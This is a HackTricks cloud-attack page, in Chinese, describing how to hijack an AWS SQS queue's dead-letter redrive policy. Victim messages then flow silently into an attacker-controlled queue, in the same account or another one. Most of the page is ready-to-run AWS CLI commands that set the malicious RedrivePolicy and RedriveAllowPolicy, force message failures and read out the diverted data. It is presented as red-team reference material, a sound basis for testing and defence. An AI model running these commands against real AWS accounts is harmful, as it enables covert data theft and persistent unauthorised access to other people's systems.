AWS - SQS DLQ Backdoor Persistence via ReddrivePolicy/RedriveAllowPolicy

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

滥用 SQS Dead-Letter Queues (DLQs),通过将其 RedrivePolicy 指向攻击者控制的队列,悄然从受害者源队列抽取数据。通过设置较低的 maxReceiveCount 并触发或等待正常处理失败,消息会在不更改生产者或 Lambda event source mappings 的情况下自动转移到攻击者的 DLQ。

受滥用的权限

  • sqs:SetQueueAttributes 在受害者源队列上(用于设置 RedrivePolicy)
  • sqs:SetQueueAttributes 在攻击者 DLQ 上(用于设置 RedriveAllowPolicy)
  • 可选用于加速:sqs:ReceiveMessage 在源队列上
  • 可选用于设置:sqs:CreateQueue、sqs:SendMessage

同账户流程 (allowAll)

准备(攻击者账户或被攻陷的主体):

REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'

执行(在受害者账户中以被攻陷的主体身份运行):

# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'

加速(可选):

# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done

验证:

# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All

示例证据 (属性包括 DeadLetterQueueSourceArn):

{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}

跨账户变体 (byQueue)

在攻击者 DLQ 上设置 RedriveAllowPolicy,仅允许特定的受害者源队列 ARNs:

VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'

影响

  • 隐蔽且持久的 data exfiltration/persistence:通过自动将失败消息从受害者的 SQS 源队列转入攻击者控制的 DLQ,实现最小的操作噪声且无需更改生产者或 Lambda 映射。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks